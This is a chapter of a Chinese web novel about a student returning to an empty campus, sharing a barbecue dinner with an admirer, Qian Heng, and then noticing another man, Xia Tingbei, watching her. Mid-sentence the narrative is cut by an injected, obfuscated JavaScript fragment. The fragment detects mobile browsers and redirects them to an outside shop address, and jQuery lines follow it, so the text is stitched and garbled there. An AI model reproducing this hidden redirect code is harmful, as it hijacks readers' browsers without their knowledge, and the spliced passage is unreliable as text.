初五早上,她拉着行李箱出了门。
小区里还有鞭炮的碎屑,红纸铺了一地,风一吹,纸屑贴着地面跑。
大巴两个小时,到了学校所在的城市。
她打车回了学校。
学校大门开着,保安探头看了她一眼,没说什么。
校园里空荡荡的,路上只有她一个人,行李箱咕噜咕噜,声音传得很远。
梧桐树还是光秃秃的,枝丫上挂着几片没掉干净的枯叶,风一吹,叶片转了几下,没有掉下来。
宿舍楼没开。
门口贴了一张通知,白纸黑字,写着寒假宿舍楼封闭的时间安排,旁边手写了一行小字:提前返校的同学请到七号楼临时宿舍办理入住。
七号楼在校园的另一边,一栋旧楼,平时不住人,寒假临时开放。
谢予青拉着箱子走过去,楼门开着,走廊里有一股潮味。
值班室坐着一个阿姨,正在嗑瓜子,瓜子壳堆了一小堆。看到谢予青,阿姨把手里没嗑完的瓜子放到桌上,从抽屉里拿出一把钥匙。
“哪个院的?”
“生科院。”
“三楼,306,钥匙别丢了,押金五十,走的时候退。”
谢予青交了押金,拿着钥匙上楼。
每一层走廊都黑漆漆的,声控灯不太灵光,跺了两脚才亮,灯亮了也是昏黄的,照着地上的水泥地。
306的门推开,跟她住的宿舍一样的格局,四张床,上床下桌,只有靠窗的一张铺了床垫,大概是前面来的人留下的。
谢予青把行李箱放好,先打扫了一遍卫生,又申请回自己宿舍抱了一床被子,收拾好后,一身汗。
她想,还不如在外边找个酒店住了,真麻烦。
不过这里倒是很安静,也有暖气,独立卫生间里还有热水器,插卡就能洗澡,也还算方便。
既来之则安之吧。
她站在窗前朝远处看,外面是篮球场,几个篮筐孤零零地立在那里,球场上一个人都没有。
远处是图书馆,灰色的楼体在冬天的阳光下显得更灰了。
收拾完东西,她去了图书馆。
图书馆只开了一楼,借阅室亮着灯,透过玻璃门能看到里面的书架。
值班的老师坐在前台,手里拿着一本厚书在看,抬头看了她一眼,又低下头去了。
借阅室里没有人,一排一排书架整齐地排列着。
谢予青走到生物类的书架前,挑了一本植物生理学,坐到靠窗的位置。
看了两个小时,天暗下来了。
食堂只开了一个,窗口也只有一个,卖套餐,一荤两素,一份米饭。
谢予青端着餐盘找了个位置坐下,食堂里零星坐着几个人,要么戴着耳机,要么刷手机,各自吃各自的。
和平常人声嘈杂的样子完全不同。
回宿舍的路上,天彻底黑了。
路灯亮着,橘黄色的光照着空荡荡的校园。
她洗漱完,躺到床上。房间里没有别人,其余的床都是空的,铺着光秃秃的床板,她一个人躺在一间大屋子里,心里觉得有点空落落的。
手机震动。
乾珩发了一条消息:你回学校了吗?
谢予青犹豫了一会儿,回了两个字:回了。
乾珩:我明天到。
谢予青:好。
乾珩:明天一起吃饭?
谢予青:可以。
初六早上,谢予青醒得很早。
吃了早饭,去图书馆看了会儿书。
到了中午,乾珩打来电话。
她走到门口走廊接起来,“喂。”
“我刚到学校,你在哪?”乾珩的声音从听筒里传出来,带着一点长途奔波后的疲惫。
“图书馆。”
“我可能要晚上才收拾好,一起吃晚餐?”
谢予青怎么都行,随口应道:“可以。”
“那好,一会儿我再给你打电话,上次火锅你请的,这次我请。”
谢予青笑笑:“都可以。”
中午她在食堂随便吃了点,又去图书馆看书,傍晚的时候,乾珩打电话要她去校门口,她合上书,把书放回书架,出了图书馆。
走到校门口的时候,乾珩已经站在那里了。
他穿着一件深灰色的外套,围着一条黑色围巾,金丝眼镜架在鼻梁上,手里拿着手机,正在看屏幕。
路灯照在他身上,深灰色外套的肩膀上有一道亮光。
他抬头看到了谢予青,马上把手机收起来,对着她笑:“走吧。”
两个人出了校门。
后门那条街上,因为都是依托学校做大学生生意的,所以大部分店铺还关着门,卷帘门上贴着各种告示,写着几号开门。
走了一段路,终于看到一家韩国料理店开着门。
“这家行吗?”乾珩问。
“行。”
两个人推门进去。
店里没有客人,老板坐在柜台后面看手机,看到有人进来,站起来招呼他们。
空气里有股烤肉酱的甜味,混着炭火的烟气。
他们找了个靠窗的位置坐下。
乾珩拿起菜单翻了翻,递给谢予青。
“你点。”
谢予青接过来,点了五花肉,牛肉,一份大酱汤,一份炒年糕。
乾珩又加了一份炸鸡和一盘泡菜。
炭火端上来了,烤盘烧热,发出嗞嗞的声音。
服务员把肉端上来,五花肉片在盘子里叠成一座小山,红色的瘦肉和白色的肥肉相间。
乾珩夹起一片五花肉,放到烤盘上。
肉片接触到热铁盘的一瞬间,嗞的一声,冒出一股白烟。他又夹了几片,整整齐齐地排在烤盘上。
“寒假过得怎么样?”他一边撒烧烤料一边问。
“还好,你呢?”谢予青帮他倒了杯大麦茶,推给他。
“也还好,在家待了几天,胖了三斤。”乾珩自嘲地笑了笑,端起杯子喝了一口。
谢予青看了他一眼,没觉得有什么变化。
肉的一面烤熟了,乾珩拿夹子翻面。
烤肉的焦香味浓烈起来,混着孜然的香气钻进鼻腔,谢予青的肚子叫了一声,咕噜一下,还挺响,乾珩听到了,很轻地笑了笑。
“饿了?”
“有点。”谢予青揉了揉肚子。
肉烤好了,乾珩夹起一片放到谢予青碗里。她用生菜叶包了肉,蘸了酱,塞进嘴里。
肉烫,但是又烫又香,谢予青呲牙咧嘴地嚼着,不忘记用手给乾珩点了个赞。
乾珩笑着看她,也给自己夹了一块。
两个人一边吃一边聊寒假的事。
乾珩说他回家见了几个高中同学,大家聚在一起吃饭,聊了一下午。
谢予青说自己都没怎么出门,本来也不爱社交。
这倒是实话,她原本的性格就是这样,当了社畜后更不爱社交了,再加上人生地不熟,她没必要去。
她记得大年初二,微信里有一个高中同学的群艾特她,问她去不去同学聚会,她推说有事,后来就没人喊她了,她也乐得清静。
至于走亲戚……她原本都做好思想准备了,到时候就尽量少说话,可谁知,她完全多虑了。
她家压根没亲戚可走。
原主爸爸那边,父母都已去世,有个妹妹在外地,平时不怎么走动。妈妈那边,所有亲戚也都在外地,平时妈妈偶尔会去看望他们,只是过年不去。
不过原主爸妈也没闲着,大年初一给人送礼去了,初二倒是在家里呆了一天。
原主这生长环境确实挺闷的,但是谢予青觉得这样很好,很清静,父母也不怎么管她,非常自由。
是她之前一直羡慕的那种自由。
她爸妈就是太爱管她了,插手太多,搞得她每天闷闷不乐,又没有勇气反抗。
两个人聊着,肉一盘一盘地烤,一盘一盘地吃完。
谢予青开始觉得饱了,她也不知道自己究竟吃了多少,等回过神来的时候,肚子已经鼓鼓的了。
她一边揉着肚子,一边端起旁边的大麦茶喝了一口,抬头一看,发现乾珩正在看着他。
她把杯子放下,移开视线,假装没有看到。
其实,在吃饭的过程里,谢予青几次抬头,都看到乾珩在看她。
他看她的时候眼睛里有光。
她知道那种光是什么意思。
一个人对另一个人有意思的时候,眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532967|203121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里会有那种光。
她知道那意味着什么。
刚开始认识乾珩的时候,他看她的眼神不是这样的。
那时候他的眼神很干净,就是学长看学妹的眼神,亲切,温和,有礼貌。
不知道从什么时候开始变了,也许是医务室那次,也许是火锅店那次,也许是更早,她自己都没注意到的时候。
乾珩又看过来,然后很快低下了头。
他应该也不是故意的,只是,对面坐着自己喜欢的人,很难忍住不去看几眼。
谢予青表情一直都是淡淡的。
她夹了一块萝卜泡菜放进嘴里,酸,辣,咸,吃在嘴里脆脆的,很清爽。
她咽下去,端起杯子喝了口水。
“开学有什么打算?”乾珩问。
“继续做课题,张教授说下学期可以申请一个大学生创新项目。”
“挺好的。”
“你呢?”
“准备考研,可能报本校。”
“建筑系的研究生?”
“对。”
两个人又聊了一会儿考研的事。
乾珩说专业课还没开始复习,英语和政治也还没开始,寒假在家一个字都没看。
谢予青说现在还早,来得及,乾珩说也是,还有一年。
饭吃完了。
桌上剩了几片肉和一碟泡菜,大酱汤见了底,炒年糕还剩几块。
乾珩叫老板结了账。
两个人出了店门,往后门那条街走。
谢予青走在乾珩左边,两个人肩与肩之间隔了一米左右。
乾珩走得慢,谢予青也走得慢。
两个人没有说话,沉默在两个人之间铺开。
走到学校门口,铁门开着。
谢予青迈上台阶的时候,右脚踩到了一个不平的地方,鞋底滑了一下,脚踝一歪,整个人往旁边倒。
乾珩的手伸过来,稳稳地扶住了她的胳膊。
他的手很有力,捏在她穿着羽绒服的胳膊上,隔着厚厚的面料,依然能感觉到他手指的力量。
谢予青站稳了。
“崴脚了没?”乾珩的声音有点紧。
谢予青活动了一下脚踝,不疼,“没事,踩空了。”
她抬头对他笑了一下。
乾珩的手还扶着她的胳膊,没有立刻松开。
他低头看着她,路灯的光落在他脸上,他的眼睛在镜片后面,亮亮的。
谢予青把手从乾珩手里抽出来。
“谢谢。”她不再看他。
“不用谢。”乾珩把手收回去,插进外套口袋里。
两个人在校门口站了一会儿,谢予青不知道该跟他说些什么。
“那我回去了。”乾珩说。
谢予青赶紧点头,“好,早点休息。”
“你也是。”
乾珩转身往左走了。
谢予青转过身,往宿舍的方向走。
走了两步,她停下来。
校门内侧的路灯旁站着一个人。
夏听北站在那里,不知站了多久,他没有站在光里,而是在光的一侧,几乎淹没在黑暗中,看不清表情。
手机拿在手里,屏幕亮着,但他的眼睛没有看手机,在看谢予青。
谢予青脚步停了下来,脑袋都是懵的,完全没有想到会在这里遇到这个人。
两个人之间的距离大约二十米。
路灯在他们中间,光照着地面,照出两个人影,一个在这头,一个在那头,中间是一长段空白的水泥地。
风从两个人之间吹过去。
他低下头,把手机屏按灭,揣进大衣口袋。
然后抬头看了她一眼,转身走了,身影很快融进夜色里。
路灯下什么都没有了,只剩一块被照亮的空地。
谢予青站在原地,脚没有动。
手插在口袋里,手指摸到了手机硬硬的边。
她把它握住,又松开。
她不知道自己站了多久。脚底传来一阵凉意,从鞋底慢慢往上渗,渗到脚踝,渗到小腿。
她的腿有点冷,手指也冷了。
一阵风吹过,她的脸上一阵刺痛,这才回过神来,深吸一口气,继续往宿舍走。